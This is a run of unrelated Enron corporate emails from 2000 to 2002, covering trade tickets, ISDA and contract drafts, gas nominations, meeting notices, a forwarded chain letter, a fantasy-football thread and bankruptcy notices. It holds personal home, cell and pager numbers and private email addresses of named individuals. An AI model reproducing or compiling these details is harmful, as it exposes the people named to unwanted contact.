		 To: Susan Bailey/HOU/ECT@ECT, Susan Flynn/HOU/ECT@ECT
		 cc: Sara Shackleton/HOU/ECT@ECT, Tanya Rohauer/HOU/ECT
		 Subject: Ekman & Co. Floor

I have attached a deal ticket for a transaction done today. This deal was 
done with a Swedish counterparty. I assume we need a deemed ISDA. I told them 
not to expect the Confirmation until sometime on Wednesday. Please call me if 

Thank you,

Jarrod

---------------------- Forwarded by Jarrod Cyprow/HOU/ECT on 05/26/2000 01:52 
   
	From:  Jay Epstein                           05/26/2000 01:46 PM
	
To: Tanya Rohauer/HOU/ECT@ECT, Jarrod Cyprow/HOU/ECT@ECT, John 
Jacobsen/HOU/ECT@ECT, Paul Radous/Corp/Enron@ENRON, Gordon 
Heaney/Corp/Enron@ENRON, Charlie Hoang/HOU/ECT@ECT
cc: Andrew R Conner/HOU/ECT@ECT, Bob Crane/HOU/ECT@ECT, Steve Kim/LON/ECT@ECT 
Subject: Ekman & Co. Floor

We have agreed to sell a one-year floor to Ekman & Co. for 833 ADMT/month of 
NBSK PIX with a strike of US$595 from November 1, 2000 to October 31, 2001.  
The deal was arranged through TFS, and the ticket is attached.  Please let me 
know if there are any problems.

Thanks,

Jay

Mike and I will not be available.  Can we move it to the end of next week, 
say thursday.  Jeff

Tiko Reynolds
12/20/2000 09:06 AM
To: Bill Donovan/EPSC/HOU/ECT@ECT, lfastow@pop.pdq.net, 
mike.mcconnell@enron.com, jshankm@enron.com
cc:  
Subject: Art Committee Meeting-Thursday, December 21, 2000

The Art Committee Meeting will be held in conference room EB49C4 on Thursday, 
December 21, 2000 from 12:30 PM - 3:30 PM.  Lunch will be served.

Thank You,
Tiko Reynolds-Hausman 

----- Forwarded by Elizabeth Sager/HOU/ECT on 07/13/2000 11:59 AM -----

	06/28/2000 10:58 AM
		 
		 To: Leslie Hansen/HOU/ECT@ECT, Christian Yoder/HOU/ECT@ECT
		 cc: Elizabeth Sager/HOU/ECT@ECT
		 Subject: EOL Definitions

per the request of Elizabeth Sager, please see this attachment:   

Elizabeth will get with you later to set up a meeting to discuss the 
attachment and finalize.

Can you tell me where this appears on the Treasurer's web site?  I'd like to
use the info without identifying who sent it to me.

From: Dasovich, Jeff [mailto:Jeff.Dasovich@ENRON.com]
Sent: Wednesday, September 19, 2001 11:21 AM
To: kip.lipper@sen.ca.gov
Cc: vjw@cleanpower.org
Subject: Angelides Quotes Regarding State Fiscal Position in the Event
Bond Issuance Stalls

Kip:

Thanks for taking the time to talk.  Here's the quote and the cite from
Angelides re: state position in the event bond issuance stalls.  If
there's anything you need, don't hestitate to call me at 415.782.7822.
Please confirm that you got this, since I'm not sure if I have your
email address right.

Best,
Jeff

		"The Administration does not project that the State will
need to make additional State loans to support the DWR Power Supply
Program even if DWR does not issue its revenue bonds as planned during
the 2001-02 fiscal year. DWR projects that its funds on hand at the date
of this Official Statement and projected revenues appear to be
sufficient to finance the Power Supply Program. The cash needs of the
Power Supply Program depend, among other things, on future power
purchase costs, the timing and amount of revenues from power sales, the
availability of additional interim loans, and the timing of the issuance
of revenue bonds by DWR. The Power Supply Act limits loans and advances
from the State under the Power Supply Act after November 15, 2001, to
amounts required for short-term cash flow purposes of no more than $500
million in the aggregate and requires repayment within 180 days.
However, the Governor has the power under the Emergency Services Act to
order additional loans or other advances to DWR if needed to further
mitigate the emergency.

			The State expects to maintain adequate cash
reserves to fund its normal operations during the 2001-02 fiscal year
whether or not DWR repays the State loans during the fiscal year. The
State plans to issue short-term notes to assure that adequate cash
balances are maintained. The State has regularly issued short-term debt
in the past to meet its cash flow needs. See 'State Indebtedness-Cash
Flow Borrowings.'"

(California Treasurer's Office, Preliminary Official Statement, August
31, 2001, $5,700,000,000 State of California 2001-02 Revenue
Anticipation Notes, Appendix A, p. A-4) (emphasis added.)

Thank you. 

Kim:

(See attached file: EPECONb BASE.doc)

This is EPE's base gas contract - from the GISB S-T contract model.

EPE's lawyer working on the contract with ENRON in 2000 was Mr. Will
Guerant
 at 512-495-8832.

Thanks,

Barry
 - EPECONb BASE.doc

Start Date: 4/24/01; HourAhead hour: 20;  No ancillary schedules awarded.  

Schedules\2001042420.txt

     Details: (Hour: 20 / Preferred:   0.00 / Final:   0.00)
  SC_ID: EES

     Details: (Hour: 20 / Preferred:   9.71 / Final:   9.47)

Dana:

Mark Taylor asked that I look into this for you.  Please give me a call 
and/or send me an email.  Thanks.

----- Forwarded by Sara Shackleton/HOU/ECT on 02/06/2001 06:02 PM -----

	02/06/2001 05:51 PM
		 
		 cc: 
		 Subject: Hess-Enron ISDA Agreement(s)

----- Forwarded by Mark Taylor/HOU/ECT on 02/06/2001 05:50 PM -----

	"Dellacona, Dana (Commodities - NY)" <ddellacona@Hess.com>
	01/26/2001 11:11 AM
		 
		 To: "'mark.taylor@enron.com'" <mark.taylor@enron.com>
		 cc: 

Mark,

I would like to contact you in order to follow up to your conversation of
last week with Mr. Chuck Cerria regarding executing an ISDA between numerous
Hess entities and numerous Enron entities.  Unfortunately, I do not have
your phone number.  Could you either call me or e mail it to me?

Thanks so much,

Dana Dellacona
212-536-8133

Enron Principal Investments (EPI), which was formed in the 2nd quarter, has completed its integration and the development of its new strategy.  This group will be responsible for identifying, closing, managing and exiting all non-E&P equity investments for Enron worldwide.  Kevin Garland will lead EPI, which includes Barbara Paige, Andrew Marsden, Kevin Kuykendall, Steven Sheldon, Michele Nezi Marvin and Mark Gandy.  Additionally, Dick Lydecker and the Special Asset Group will continue to report to Kevin.

EPI will pursue investments related to Enron's core businesses, where Enron has a unique insight into the market, company or technology.  Initially, this will be geographically focused in North America and Europe.  This group will rely heavily on the support and cooperation of the core business units to provide information and market insight.  

EPI may make investments in the form of venture capital, leverage buyouts, growth equity, or private equity in public companies.  The group will not make investments in seed stage companies, other funds, subsidiaries of larger corporations, or project equity.

Please join me in supporting the efforts of Enron Principal Investments.  

Thank you for sharing this with me, Shelley.  You are living one of my dreams.  My mother will enjoy this also.  She asks me everyday if I've talked with you.  Take care.

From: 	Corman, Shelley  
Sent:	Thursday, January 17, 2002 2:59 PM
To:	Thompson, Debra; Lokey, Teb
Subject:	The Journal

Here is the unedited (and unfinished) version.  Kim still needs to add his notes on the last days of the trip.

 << File: Journal From Trip to Kazakhsta2.doc >> 

Re: ING 5934 -  200 MCD at 28.35

We confirm you sold for your account 3VZ460676, 200 shares of MCD
at 28.35 on 10/26/01. For more details access your account and
view Order Status.

How about Garcia and Bettis for Brunell?

cc:  
Subject: Re: QB  

I like Bledsoe since I have T. Glenn now, but I could also keep Brunell if 
McCardell is available... Quadry and/or Garner...

	From:  Eric Bass                           09/07/2000 12:36 PM
	
To: O'Neal D Winfree/HOU/ECT@ECT
cc:  
Subject: QB

Brunell or Bledsoe - which one are you willing to trade and for what?  I 
could give a rb and a WR

Kim, Tom Martin will be out of the office this Friday, Dec. 21st, as well as the 26th, 27th, and 28th.  Please let John know, just for his information.  Tom can be reached at any of the following numbers, should anything come up that he would need to be reached and/or that he would need to come in to the office for:

	Hm	281-580-6280
	Cell	713-417-7994
	Pgr	800-503-3208

I will probably be out of the office myself on the 26th, but I should be around any of the other days if you need me to help you reach him.

Have a great holiday, Kim!
Laura

Start Date: 4/21/01; HourAhead hour: 4;  HourAhead schedule download failed. 

 Pam,

As discussed, attached is a draft of a Master Firm Sales Agreement for your review.  Please do not hesitate to give me a call to discuss any questions you may have regarding the enclosed.

Hi Dale,

I thought I'd send this along.  It is the first draft of the "break out" 
contract for the ABB transformers which go with the LM's.  I thought Sheila 
told me that your stuff is in immediate need to getting this and the LM break 
out in shape.  This has not been reviewed with ABB yet (in fact, I haven't 
read it yet), but just in case you want to give it a look, I thought I would 
pass it along.

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 10/26/2000 10:30 

"FAYE STEDMAN" <STEDF@andrews-kurth.com> on 10/25/2000 07:56:01 PM
To: <kay.mann@enron.com>
cc: "PAUL PIPITONE" <PIPIP@andrews-kurth.com> 

Subject: ABB Transformer Purchase and Sale Agreement

Attached please find a clean copy of the ABB Transformer Purchase and Sale 
Agreement as well as a blackline to show changes made from the WESTLB/ABB 
Agreement.  Sorry for the delay in getting this to you. We have had to delete 
the table of contents from the clean version in order to get this to you in a 
timely fashion.  A completed version will be forthcoming sometime tomorrow.

If you have any questions or comments, please contact me at (202) 662-2780.

 - WESTLB-ABBblk.doc
 - WEST-LB-ABBcln.DOC

---------------------- Forwarded by Christi L Nicolay/HOU/ECT on 08/10/2000 
03:13 PM ---------------------------

Linda L Lawrence@EES
08/10/2000 03:16 PM
To: Christi L Nicolay/HOU/ECT@ECT, Elizabeth Linnell/HOU/EES@EES
cc:  
Subject: Power Marketers 2nd Quarter Stats

See attached:

This is the latest update via a verbal agreement between Chad Cass and Darren
Farmer...

APRIL 5

Effective 9:00 am the nominations and redeliveries are "0"

The Fuels Cotton Valley volume of 7800 mmbtu will be purchased by HPL at Gas
Daily (HSC -5).

APRIL 6

   The Fuels Cotton Valley volume of 7800 mmbtu will be purchased by HPL at 
Gas

   APRIL 7

   Until further notice the nominations and redeliveries will be at "0"
   Fuels Cotton Valley gas  will be purchased by HPL at a "to be determined
price."  **

   **Darren- please give me a call so we can discuss the pricing for the FCV
gas.

   If anyone has any questions please feel free to give me a call.

   Thanks,
   Chad Cass
   713-627-6202

Marta K Henderson
04/06/2000 07:49 AM

Sent by:  Marta K Henderson

To:   stacey.neuweiler@enron.com, dfarmer@enron.com, briley@enron.com
cc:   William E. Speckels/GCS/CEC/PEC@PEC, Chad W. Cass/GCS/CEC/PEC@PEC, 
Darrel
      F. Bane/EastTexas/PEFS/PEC@PEC, Michael R. 
Cherry/EastTexas/PEFS/PEC@PEC,
      Donna C. Spencer/GCS/CEC/PEC@PEC, Cheryl L. Horning/GCS/CEC/PEC@PEC, 
Julia
      A. Mohn/GCS/CEC/PEC@PEC, Dora J. Levy/GCS/CEC/PEC@PEC, Bruce
      McMills/FtWorth/PEFS/PEC@PEC, Sharon Beemer/FtWorth/PEFS/PEC@PEC
Subject:  Correction to 4/5/00 Nominations for Eastrans and Nomination for
      4/6/00
Beginning 2:00 pm on 4/5/00 nomination:

Deliveries:
0 MMBtu into Eastrans

Redeliveries:
0 MMBtu

For 4/6/00, the nomination is as follows:

0 MMBtu

Stephanie

Tana Jones asked me to forward you the addresses for Vermilion Resources and 
Benson Petroleum Ltd.

Vermilion Resources Ltd.
400, 622 - 5th Avenue S.W.
Calgary, Alberta
T2P 0M6
403-781-9422 

contact person:
C. Tom Banks, P.Eng.
V.P., Production & Marketing

The next deal will be for Benson Petroleum Ltd.

950, 633 - 6th Avenue S.W.
T2P 2Y5
403-269-5158

Glen D. Kerr, P.Eng
Production Manager

Regards,

Shawn Anderson
403-974-6731

I think we could wind this up with a quick conference call tomorrow a.m.  Greg and I had some additional thoughts on how to handle the issue that this contract is not for 40% of primary capacity - it is not like an El Paso/Dynegy, Enron or El Paso deal without necessarily getting into the alternate issue of sham transactions.  Also, Kathy R. checked and as of today, IS have not filed a protest.  Maria 

From: 	Miller, Mary Kay  
Sent:	Monday, November 19, 2001 3:13 PM
To:	Pavlou, Maria; Rapp, Bill
Cc:	Kilmer III, Robert; Porter, Gregory J.; 'fkelly@gbmdc.com'; McConnell, Mark; Harris, Steven; Kirk, Steve
Subject:	RE: answer to cpuc protest

 Attached are some addtional comments and questions in regard to this answer.  MK

 << File: RP97-288cpucmk.doc >> 

Sent:	Monday, November 19, 2001 11:18 AM
To:	Rapp, Bill
Cc:	Kilmer III, Robert; Porter, Gregory J.; Miller, Mary Kay; 'fkelly@gbmdc.com'; McConnell, Mark; Harris, Steven
Subject:	answer to cpuc protest

Bill, attached are a few comments/questions on your proposed draft answer, which I thought was excellent.  We might want to discuss some of these questions with the ccs.  Thanks, Maria

 << File: RP97-288cpuc.doc >> 

FYI

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 08/17/2000 
10:50 AM ---------------------------

Douglas S Parsons@ENRON_DEVELOPMENT
08/15/2000 08:05 AM
To: Vince J Kaminski@ECT
cc:  
Subject: Re: Cairn Gas Purchase Bid

Vince,

I'm following up on our conversation late last week and I'm interested to see 
what your group can advise, per Doug Leach's recommendation.  As you can see 
he is raising a major red flag in regards to our non-binding offer to Cairn.  
Since, it was late the other night I didn't touch base with Sandeep Kohli, 
but Bobby and I are probably the most knowledgeable in regards to the Indian 
gas market.  Please let me know what information you may need from us to 
provide some guidance.

Regards,
Doug
---------------------- Forwarded by Douglas S Parsons/ENRON_DEVELOPMENT on 
08/15/2000 07:51 AM ---------------------------

Bobby Farris
08/14/2000 10:19 PM
To: Douglas S Parsons/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  
Subject: Re: Cairn Gas Purchase Bid  

There is no harm in seeing what Kaminski's group will advise.   Do you have 
any problem in contacting them ?

BOBBY

Doug Leach@ECT
08/14/2000 07:45 AM
cc: Marc De La Roche/HOU/ECT@ECT, Bobby 
Farris/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

I strongly disagree with the pricing and structure of your non-binding offer 
to Cairn. This reminds me of the debacle in Brazil. You should have contacted 
Vince Kaminski's research group as we talked about before an offer was made. 
This is a bad deal. 

08/12/2000 01:51 AM
To: Doug Leach@ECT, Marc De La Roche@ECT
cc:  
Subject: Cairn Gas Purchase Bid

Doug & Marc,

FYI, please let me know if you think we're totally off base.  I appreciate 
your help.

Regards,
Doug
08/12/2000 01:48 AM ---------------------------

Douglas S Parsons
08/11/2000 06:24 AM
To: Bobby Farris/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: F B Virani/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Ujjwal 
Dey/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Nilesh 
Vaishnav/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Bobby,

After meeting with Cairn today in Delhi, my perception is that our offer was 
received well.  They were more open and relaxed then they were on Wed. 
morning and made several encouraging comments about our price range, (once we 
talked through the price movements), and the seriousness of our gas related 
activities on the West Coast of India, in light of the IOC agreement.  I 
think the overall package is attractive to them and no serious objections 
were raised.  We did talk to some extent about the guarantees, but we didn't 
get too far and they're willing to accept at this point that what's 
acceptable to the LNG suppliers, should be suitable for their needs.  
However, they would like to understand the corporate structure and assets of 
Enron Energy Marketing a little better and I told them I would get back to 
them on that point.

David and Ajay were up in Hazira yesterday looking at some property for their 
gas treatment facility, which apparently is across the road from pipeline 
access.  While there they went and looked at Shell's proposed LNG site after 
walking the last 1 km, inaccessible to their 4wd vehicle and not surprisingly 
found a beach.

In summary, here is what we offered on a non-binding basis:

Six year production plateau
85% TOP
$3.67/MMBtu Net, at a base of $18/bbl Brent, with point of sale at the 
tail-end of the gas processing plant
Floor & Cap of $15.50 - $27.00/bbl
Price movement:  +/- $1.00/ bbl from the $18/bbl base price (on a 3 mo. 
rolling average) equals +/- $0.145/MMBtu fixed on a quarterly basis
Guarantees:  Same protection we're providing the LNG suppliers under the 
Trust Retention Account

I appreciate everyone's help in submitting this offer.

Thanks,
Doug

Our recommendations on possible FERC Commissioners for Ken's next discussion 
with Cheney.
----- Forwarded by Steven J Kean/NA/Enron on 12/19/2000 10:27 AM -----

	Allison Navin
	12/19/2000 08:57 AM
		 
		 cc: Richard Shapiro/NA/Enron@Enron, Linda Robertson/NA/Enron@ENRON
		 Subject: FERC Commissioner

Per your request.

----- Forwarded by Steven J Kean/NA/Enron on 02/02/2001 06:02 PM -----

	01/31/2001 01:42 PM
		 
		 cc: 
		 Subject: <<Concur Expense Document>> - RS012201

Employee Name: Richard Shapiro  
Expense Report Name: RS012201
Report Total: $8,299.73
Amount Due Employee: $8,299.73

Expense.

---------------------- Forwarded by Judy Hernandez/HOU/ECT on 03/31/2000 
03:33 PM ---------------------------

Regina Blackshear@ENRON
03/31/2000 09:03 AM
To: vblack4538@aol.com, sonia_l_castorena@reliantenergy.com, 
Amber.Ebow@enron.com, Tammy Green <tcgreen@flash.net>, GRHRDH@aol.com, 
jacelyne hill <YELLOWGIRLHILL@netscape.net>, rhondamjordan@hotmail.com, 
"BENEDICT PETERS"<bouncing98@hotmail.com>, rosemary.a.reynolds@usa.xerox.com, 
"WhiteBL(Barbara)"<BLWhite@equiva.com>, Tharsilla 
Broussard/HR/Corp/Enron@ENRON, Christopher Hargett/HOU/ECT@ECT, Yvonne 
Acosta/Corp/Enron@ENRON, Eve Puckett/Corp/Enron@ENRON, Michelle 
Neville/HOU/ECT@ECT, Judy Hernandez/HOU/ECT@ECT, Shirlet 
Williams/HOU/ECT@ECT, Albert Escamilla/HOU/ECT@ECT, John Whiting/HOU/ECT@ECT, 
Deborah Darnell/Corp/Enron@ENRON, Pamela Mitchell/HOU/ECT@ECT, Judy 
Walters/HOU/ECT@ECT, Sandra R McNichols/HOU/ECT@ECT
cc:  
Subject: Fwd: Prayers

this is good
---------------------- Forwarded by Regina Blackshear/Corp/Enron on 
03/31/2000 07:57 AM ---------------------------

"LaTonya Carter" <l_carter61@hotmail.com> on 03/31/2000 08:06:41 AM
To: regina.blackshear@enron.com, music@axs4u.net, DBUAKA1998@aol.com, 
pwright17@hotmail.com, v_ashford@hotmail.com
cc:  

>From: "Alvita McKinney" <vitamae47@hotmail.com>
>To: l_carter61@hotmail.com, asmith@pwe.ci.houston.tx.us,
>fbrown@pwe.ci.houston.tx.us, ckizzee@pwe.ci.houston.tx.us, deiedre@usa.com,
>sweetmama_nicey@hotmail.com, dishonest19@hotmail.com, Karibbean@excite.com,
>lewisf@TIRR.TMC.EDU, Juan_Johnson@hotmail.com, chocolatedoll53@hotmail.com,
>queen33@hotmail.com, Onlysexylady@aol.com, dmukes@pwe.ci.houston.tx.us,
>suebeehoney25@hotmail.com
>Subject: Fwd: Prayers
>Date: Thu, 30 Mar 2000 14:51:20 CST
>
>
>
> >Subject: Prayers
> >Date: Thu, 30 Mar 2000 14:00:41 -0600
> >
> >
> >
> > >  -----O
> > >
> > >
> > >   > >> > Some words to think about!!!!! HAVE A BLESSED
> > > DAY!!!!!!!!!
> > >   > >> >
> > >   > >> >  A voyaging ship was wrecked during a storm at sea
> > > and only two of
> > >   the
> > >   > >men
> > >   > >> > on it were able to swim to a small, desert like
> > > island. The two
> > >   > >> survivors,
> > >   > >> > not knowing what else to do, agreed that they had no
> > > other  recourse
> > >   > but
> > >   > >> to
> > >   > >> > pray to God. However, to find out whose prayer was
> > > more powerful,
> > >   they
> > >   > >> > agreed to divide the territory between them and  stay
> > > on opposite
> > >   sides
> > >   > >of
> > >   > >> > the island.
> > >   > >> >
> > >   > >> >  The first thing they prayed for was food. The next
> > > morning, the
> > >   first
> > >   > >> man
> > >   > >> > saw a fruit-bearing tree on his side of the land, and
> > > he was able  to
> > >   > >eat
> > >   > >> > its fruit. The other man's parcel of land remained
> > > barren.
> > >   > >> >
> > >   > >> >  After a week, the first man was lonely and he
> > > decided to pray for a
> > >   > >> wife.
> > >   > >> > The next day, another ship was wrecked, and the only
> > > survivor  was a
> > >   > >woman
> > >   > >> > who swam to his side of the land. On the other side
> > > of  the island,
> > >   the
> > >   > >> > second man has nothing.
> > >   > >> >
> > >   > >> >  Soon the first man prayed for a house, clothes, more
> > > food. The next
> > >   > >day
> > >   > >> > like magic, all of these were given to him.  However,
> > > the second man
> > >   > >still
> > >   > >> > had nothing.
> > >   > >> >
> > >   > >> >  Finally, the first man prayed for a ship, so that he
> > > and his wife
> > >   > could
> > >   > >> >  leave the island. In the morning, he found a ship
> > > docked at his side
> > >   > >of
> > >   > >> >
> > >   > >> >  The first man boarded the ship with his wife and
> > > decided to leave
> > >   the
> > >   > >> >  second man on the island. He considered the other
> > > man unworthy to
> > >   > >> receive
> > >   > >> > God's blessings, since none of his prayers had been
> > > answered.
> > >   > >> >
> > >   > >> >  As the ship was about to leave, the first man heard
> > > a voice from
> > >   > heaven
> > >   > >> > booming: "Why are you leaving your companion on the
> > > island?"
> > >   > >> >
> > >   > >> > "My blessings are mine alone, since I was the one who
> > > prayed  for
> > >   them"
> > >   > >> the
> > >   > >> > first man answered. "His prayers were all unanswered
> > > and  so he does
> > >   > not
> > >   > >> > deserve anything."  "You are mistaken!" the voice
> > > rebuked him. "He
> > >   had
> > >   > >> only
> > >   > >> > one prayer,  which I answered. If not for that, you
> > > would not have
> > >   > >> received
> > >   > >> >  any of my blessings." "Tell me", the first man asked
> > > the voice,
> > >   "what
> > >   > >> did
> > >   > >> > he pray for that I should owe him anything?"
> > >   > >> >
> > >   > >> >  "He prayed that all your prayers be answered."
> > >   > >> >
> > >   > >> >
> > >
> > > *********************************************************************
> > >
>

Updated questions and answers for Enron employees have just been posted to http://home.enron.com/updates/qa.html  
We recognize that as active employees you have special concerns and questions related to Enron's bankruptcy filing.  We regret that we are not able to answer all of your questions as quickly as you deserve, but we are working to provide accurate responses to your most important questions about employee benefits, expense payments and so on.  We appreciate your patience as we continue to try to provide timely and reliable information to you. 

Cheryl Johnson@ENRON
11/20/2000 02:29 PM
To: Laurel Adams/HOU/ECT@ECT, Amelia Alland/HOU/ECT@ECT, Lauri A 
Allen/HOU/ECT@ECT, Bridgette Anderson/Corp/Enron@ENRON, Arfan 
Aziz/LON/ECT@ECT, Cyndie Balfour-Flanagan/Corp/Enron@ENRON, Edward D 
Baughman/HOU/ECT@ECT, Kimberlee A Bennick/HOU/ECT@ECT, Lisa Berg 
Carver/HOU/ECT@ECT, Anne Bike/Corp/Enron@Enron, Georgia 
Blanchard/HOU/ECT@ECT, Jennifer Blay/HOU/ECT@ECT, Fred Boas/HOU/ECT@ECT, Bob 
Bowen/HOU/ECT@ECT, Debbie R Brackett/HOU/ECT@ECT, Linda S Bryan/HOU/ECT@ECT, 
Lesli Campbell/HOU/ECT@ECT, Anthony Campos/HOU/ECT@ECT, Sylvia A 
Campos/HOU/ECT@ECT, Nella Cappelletto/CAL/ECT@ECT, Cary M 
Carrabine/HOU/ECT@ECT, Clem Cernosek/HOU/ECT@ECT, Pat 
Clynes/Corp/Enron@ENRON, Marilyn Colbert/HOU/ECT@ECT, Brad 
Coleman/HOU/ECT@ECT, Donna Consemiu/HOU/ECT@ECT, Robert Cotten/HOU/ECT@ECT, 
Mike Croucher/HOU/ECT, Romeo D'Souza/HOU/ECT@ECT, Shonnie Daniel/HOU/ECT@ECT, 
Cheryl Dawes/CAL/ECT@ECT, Sherry Dawson/NA/Enron@Enron, Rhonda L 
Denton/HOU/ECT@ECT, Russell Diamond/HOU/ECT@ECT, Stacy E Dickson/HOU/ECT@ECT, 
Bradley Diebner/HOU/ECT@ECT, Cheryl Dudley/HOU/ECT@ECT, Michael 
Eiben/HOU/ECT@ECT, Susan Elledge/NA/Enron@Enron, Faye Ellis/HOU/ECT@ECT, 
Diane Ellstrom/HOU/ECT@ECT, Veronica Espinoza/Corp/Enron@ENRON, Enron Europe 
Global Contracts and Facilities, Enron Europe Global CounterParty, Daren J 
Farmer/HOU/ECT@ECT, Jacquelyn Farriel/GPGFIN/Enron@ENRON, Genia 
FitzGerald/HOU/ECT@ECT, Irene Flynn/HOU/ECT@ECT, Shawna Flynn/HOU/ECT@ECT, 
Susan Flynn/HOU/ECT@ECT, Hoong P Foon/HOU/ECT@ECT, Rebecca Ford/HOU/ECT@ECT, 
Randall L Gay/HOU/ECT@ECT, Camille Gerard/Corp/Enron@ENRON, Scotty 
Gilbert/TOR/ECT@ECT, Lisa Gillette/HOU/ECT@ECT, Carolyn Gilley/HOU/ECT@ECT, 
Winston Goodbody/HOU/ECT@ECT, Amita Gosalia/LON/ECT@ECT, Mary G 
Gosnell/HOU/ECT@ECT, Melissa Graves/HOU/ECT@ECT, Andrea R 
Guillen/HOU/ECT@ECT, Sanjeev Gupta/NA/Enron@ENRON, David Hardy/LON/ECT@ECT, 
Bill D Hare/HOU/ECT@ect, Kenneth M Harmon/HOU/ECT@ECT, Tony 
Harris/HOU/ECT@ECT, Peggy Hedstrom/CAL/ECT@ECT, Elizabeth L 
Hernandez/HOU/ECT@ECT, Brenda F Herod/HOU/ECT@ECT, Marlene 
Hilliard/HOU/ECT@ect, Liz Hillman/Corp/Enron@Enron, Nathan L 
Hlavaty/HOU/ECT@ECT, Jim Homco/HOU/ECT@ECT, Cindy Horn/LON/ECT@ECT, Larry Joe 
Hunter/HOU/ECT@ECT, Rahil Jafry/HOU/ECT@ECT, Tana Jones/HOU/ECT@ECT, 
Katherine L Kelly/HOU/ECT@ECT, Nanette Kettler/HOU/ECT@ECT, Troy 
Klussmann/HOU/ECT@ECT, Victor Lamadrid/HOU/ECT@ECT, Karen 
Lambert/HOU/ECT@ECT, Gary W Lamphier/HOU/ECT@ECT, Kristian J 
Lande/HOU/ECT@ECT, Monica Lande/PDX/ECT@ECT, Elsie Lew/HOU/ECT@ECT, Andrew H 
Lewis/HOU/ECT@ECT, Jim Little/HOU/ECT@ECT, Kori Loibl/HOU/ECT@ECT, Scott F 
Lytle/HOU/ECT@ECT, Matilda Machado/CAL/ECT@ECT, Hillary 
Mack/Corp/Enron@Enron, Richard C McKeel/HOU/ECT@ECT, Nidia 
Mendoza/HOU/ECT@ECT, Carey M Metz/HOU/ECT@ECT, Julie Meyers/HOU/ECT@ECT, 
Richard A Miley/HOU/ECT@ECT, Bruce Mills/Corp/Enron@ENRON, Patrice L 
Mims/HOU/ECT@ECT, Glenda D Mitchell/HOU/ECT@ECT, Jason Moore/HOU/ECT@ECT, Tom 
E Moore/HOU/ECT@ECT, Jackie Morgan/HOU/ECT@ECT, Michael W Morris/HOU/ECT@ECT, 
Gary Nelson/HOU/ECT@ECT, Tracy Ngo/PDX/ECT@ECT, Debbie Nicholls/LON/ECT@ECT, 
John L Nowlan/HOU/ECT@ECT, Frank Ortiz/EPSC/HOU/ECT@ECT, B Scott 
Palmer/HOU/ECT@ECT, Stephanie Panus/NA/Enron@Enron, Anita K 
Patton/HOU/ECT@ECT, Regina Perkins/Enron Communications@Enron Communications, 
Debra Perlingiere/HOU/ECT@ECT, Richard Pinion/HOU/ECT@ECT, Sylvia S 
Pollan/HOU/ECT@ECT, John D Powell/HOU/ECT@ECT, Brent A Price/HOU/ECT@ECT, 
Cyril Price/HOU/ECT@ECT, Claudia Clark/HOU/ECT@ECT, Dale Neuner/HOU/ECT@ECT, 
EOL Call Center, Fiona Skinner/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Frank L 
Davis/HOU/ECT@ECT, Jennifer deBoisblanc Denny/HOU/ECT@ECT, Joshua 
Meachum/NA/Enron@ENRON, Justin Timothy/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Karen O'Day/NA/Enron@Enron, Keith Clark/Corp/Enron@Enron, Lisa 
Lees/HOU/ECT@ECT, Matt Motsinger/HOU/ECT@ECT, Melba Lozano/HOU/ECT@ECT, Noel 
Petterson/Corp/Enron@Enron, Peter Berzins/NA/Enron@Enron, Robert B 
Cass/HOU/ECT@ECT, Rousseau Anai/AP/Enron@Enron, Sheri Thomas/HOU/ECT@ECT, 
Simone La Rose/HOU/ECT@ECT, Stephanie Sever/HOU/ECT@ECT, Tara 
Sweitzer/HOU/ECT@ECT, Torrey Moorer/HOU/ECT@ECT, Joan Quick/HOU/ECT@ECT, 
Dutch Quigley/HOU/ECT@ECT, Leslie Reeves/HOU/ECT@ECT, Donald P 
Reinhardt/HOU/ECT@ECT, Brant Reves/HOU/ECT@ECT, Stacey 
Richardson/HOU/ECT@ECT, Oscar Rivera/NA/Enron@Enron, Suzy Robey/HOU/ECT@ECT, 
Bernice Rodriguez/HOU/ECT@ECT, Carlos J Rodriguez/HOU/ECT@ECT, Sam 
Round/HOU/ECT@ECT, Marilyn M Schoppe/HOU/ECT@ECT, Samuel Schott/HOU/ECT@ECT, 
Brad Schneider/Corp/Enron@Enron, James Scribner/Corp/Enron@Enron, Dianne 
Seib/CAL/ECT@ECT, Cris Sherman/HOU/ECT@ECT, John Sherriff/LON/ECT@ECT, James 
Shirley/HOU/EES@EES, Lynn E Shivers/HOU/ECT@ECT, Michele Small/LON/ECT@ECT, 
Mary M Smith/HOU/ECT@ECT, Susan Smith/HOU/ECT@ECT, Jefferson D 
Sorenson/HOU/ECT@ECT, Carrie Southard/LON/ECT@ECT, Willie 
Stewart/HOU/ECT@ECT, Geoff Storey/HOU/ECT@ECT, Colleen Sullivan/HOU/ECT@ECT, 
John Suttle/HOU/ECT@ECT, Connie Sutton/HOU/ECT@ECT, James 
Scribner/Corp/Enron@Enron, Vance L Taylor/HOU/ECT@ECT, Edward 
Terry/HOU/ECT@ECT, Kim S Theriot/HOU/ECT@ECT, Veronica 
Thompson/GPGFIN/Enron@ENRON, Mark D Thorne/HOU/ECT@ECT, Philippe 
Travis/LON/ECT@ECT, Susan D Trevino/HOU/ECT@ECT, Laura 
Vargas/Corp/Enron@ENRON, Claire Viejou/LON/ECT@ECT, Elsa 
Villarreal/HOU/ECT@ECT, Robert Walker/HOU/ECT@ECT, George 
Weissman/HOU/ECT@ECT, Karin Williams/HOU/EES@EES, Sony Wilson/HOU/ECT@ECT, 
O'Neal D Winfree/HOU/ECT@ECT, Christa Winfrey/HOU/ECT@ECT, Jeremy 
Wong/HOU/ECT@ECT, Rita Wynne/HOU/ECT@ECT
cc:  
Subject: Final Name Change/Merger Notification 11/00

Attached is the Preliminary Name Change/Merger notification report for Nov. 
2000.  The final list with any additions will go out on Wed, Nov 22.  

Name overlays will be done today, Mon, Nov. 20, right after notification is 
given, and shortname changes will be done on Wed, Nov. 22. 

Records on this report will be inactivated on Fri.,  Dec. 1.

HAPPY THANKSGIVING!

Cheryl x3-3103

---------------------- Forwarded by Mary Hain/HOU/ECT on 02/08/2001 12:12 PM 
   
	From:  "Fergus, Gary S." <GFergus@brobeck.com>                           
02/08/2001 11:53 AM
	
